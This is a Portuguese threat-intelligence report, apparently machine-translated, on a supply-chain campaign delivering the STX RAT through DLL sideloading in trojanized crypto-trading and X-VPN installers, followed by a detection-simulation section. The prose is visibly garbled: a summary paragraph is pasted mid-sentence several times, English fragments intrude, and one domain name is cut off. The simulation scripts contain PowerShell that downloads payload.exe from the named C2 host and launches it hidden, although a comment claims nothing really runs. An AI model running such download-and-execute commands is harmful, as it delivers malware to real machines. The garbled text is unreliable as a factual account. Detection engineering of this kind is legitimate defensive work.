De Carteiras Cripto a um VPN com 100 Milhões de Usuários: Dentro de uma Campanha de Cadeia de Suprimentos do STX RAT Ativa

Resumo

Pesquisadores descobriram uma campanha ativa de cadeia de suprimentos na qual um ator de ameaça abusou do carregamento de DLL com um CRYPTBASE.dll malicioso para implantar o trojan de acesso remoto STX RAT por meio de instaladores trojanizados para software de negociação de criptomoedas e o cliente X-VPN. A operação confiava em um único repositório Bitbucket para distribuir os pacotes infectados e rotacionava domínios de comando e controle sob o domínio root supp0v3.com. Ao mirar tanto nos usuários de ferramentas de troca financeira quanto em um serviço de VPN amplamente utilizado, os atacantes se posicionaram para roubar credenciais e outros dados sensíveis em escala. O conteúdo de detecção foi atualizado para cobrir o método de carregamento compartilhado e a infraestrutura comum. root. By targeting both users of financial exchange tools and a widely used VPN service, the attackers positioned themselves to steal credentials and other sensitive data at scale. Detection content was updated to cover the shared sideloading method and the common infrastructure.

Investigação

Analistas identificaram 11 pacotes maliciosos que todos usaram a mesma CRYPTBASE.dll cadeia de carregamento para carregar o STX RAT diretamente na memória. Os instaladores trojanizados estavam hospedados em um repositório Bitbucket chamado amos-trading, e os metadados de commit vinculavam a atividade ao pseudônimo Leda Elacoate. Após a exposição pública, os operadores rotacionaram a infraestrutura de helloworld.supp0v3.com to parapara

. A análise YARA confirmou que o STX RAT era a carga final em cada amostra examinada.

X-VPN solucionou o problema na versão Windows 77.5.3, que impõe carregamento estrito de DLL a partir de diretórios do sistema, realiza validação de hash de DLL no início e aplica políticas de carregamento por processo. Bloquear domínio root supp0v3.com. Ao mirar tanto nos usuários de ferramentas de troca financeira quanto em um serviço de VPN amplamente utilizado, os atacantes se posicionaram para roubar credenciais e outros dados sensíveis em escala. O conteúdo de detecção foi atualizado para cobrir o método de carregamento compartilhado e a infraestrutura comum. e seus subdomínios no perímetro da rede pode interromper o tráfego de comando e controle. As organizações também devem reforçar a higiene de download de software e limitar as instalações a fontes de fornecedores verificadas.

Resposta

Os defensores devem alertar sobre qualquer processo que carregue CRYPTBASE.dll de um caminho não-sistêmico e investigar sinais de execução do STX RAT na memória. A regra STX RAT YARA publicada deve ser implantada em plataformas EDR, e o tráfego outbound HTTPS para domínio root supp0v3.com. Ao mirar tanto nos usuários de ferramentas de troca financeira quanto em um serviço de VPN amplamente utilizado, os atacantes se posicionaram para roubar credenciais e outros dados sensíveis em escala. O conteúdo de detecção foi atualizado para cobrir o método de carregamento compartilhado e a infraestrutura comum. deve ser monitorado de perto. Todos os endpoints devem ser atualizados para a versão corrigida do X-VPN ou ter o software vulnerável removido. A caçada de ameaças deve também se concentrar no comportamento de carregamento de código reflexivo associado à cadeia de descompactação multiestágio do malware.

Execução de Simulação

Pré-requisito: O Check pré-voo do Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa de Ataque & Comandos:

  Um atacante que comprometeu uma conta de usuário de baixo privilégio usa uma linha única de PowerShell para baixar uma carga maliciosa do servidor C2 helloworld.supp0v3.com. Isso utiliza T1071.001 (C2 via protocolo Web) e T1204.002 (execução do usuário) enquanto a carga em si é ofuscada (T1027, T1027.009) e mascarada como um executável legítimo (T1036.005/008). A conexão de saída para o domínio malicioso deve ser capturada pelo log do firewall e, consequentemente, disparar a regra Sigma.

  # Baixar carga maliciosa do domínio C2 do Supp0v3
  $url = "http://helloworld.supp0v3.com/payload.exe"
  $out = "$env:TEMPpayload.exe"
  Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out
  
  # Executar a carga (simulada – na verdade, apenas cria um arquivo fictício)
  Start-Process -FilePath $out -WindowStyle Hidden

• Script de Teste de Regressão:

  # TC-20260609-A1B2C – Simular conexão C2 RAT STX para helloworld.supp0v3.com
  try {
      # Passo 1: Preparar carga fictícia (evitar execução real de malware)
      $payloadPath = "$env:TEMPpayload.exe"
      Set-Content -Path $payloadPath -Value "Este é um executável fictício para teste." -Encoding ASCII
  
      # Passo 2: Simular pedido HTTP de saída para domínio malicioso
      $c2Url = "http://helloworld.supp0v3.com/payload.exe"
      Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath
  
      # Passo 3: "Executar" a carga (nenhuma execução real por segurança)
      Write-Host "Execução simulada da carga em $payloadPath"
  
      Write-Host "Simulação concluída – verifique SIEM para alerta."
  }
  catch {
      Write-Error "Falha na simulação: $_"
  }

• Comandos de Limpeza:

  # Remover a carga fictícia e quaisquer arquivos residuais
  $payloadPath = "$env:TEMPpayload.exe"
  if (Test-Path $payloadPath) {
      Remove-Item -Path $payloadPath -Force
      Write-Host "Arquivo de carga limpo."
  }
  else {
      Write-Host "Nenhum arquivo de carga encontrado – nada para limpar."
  }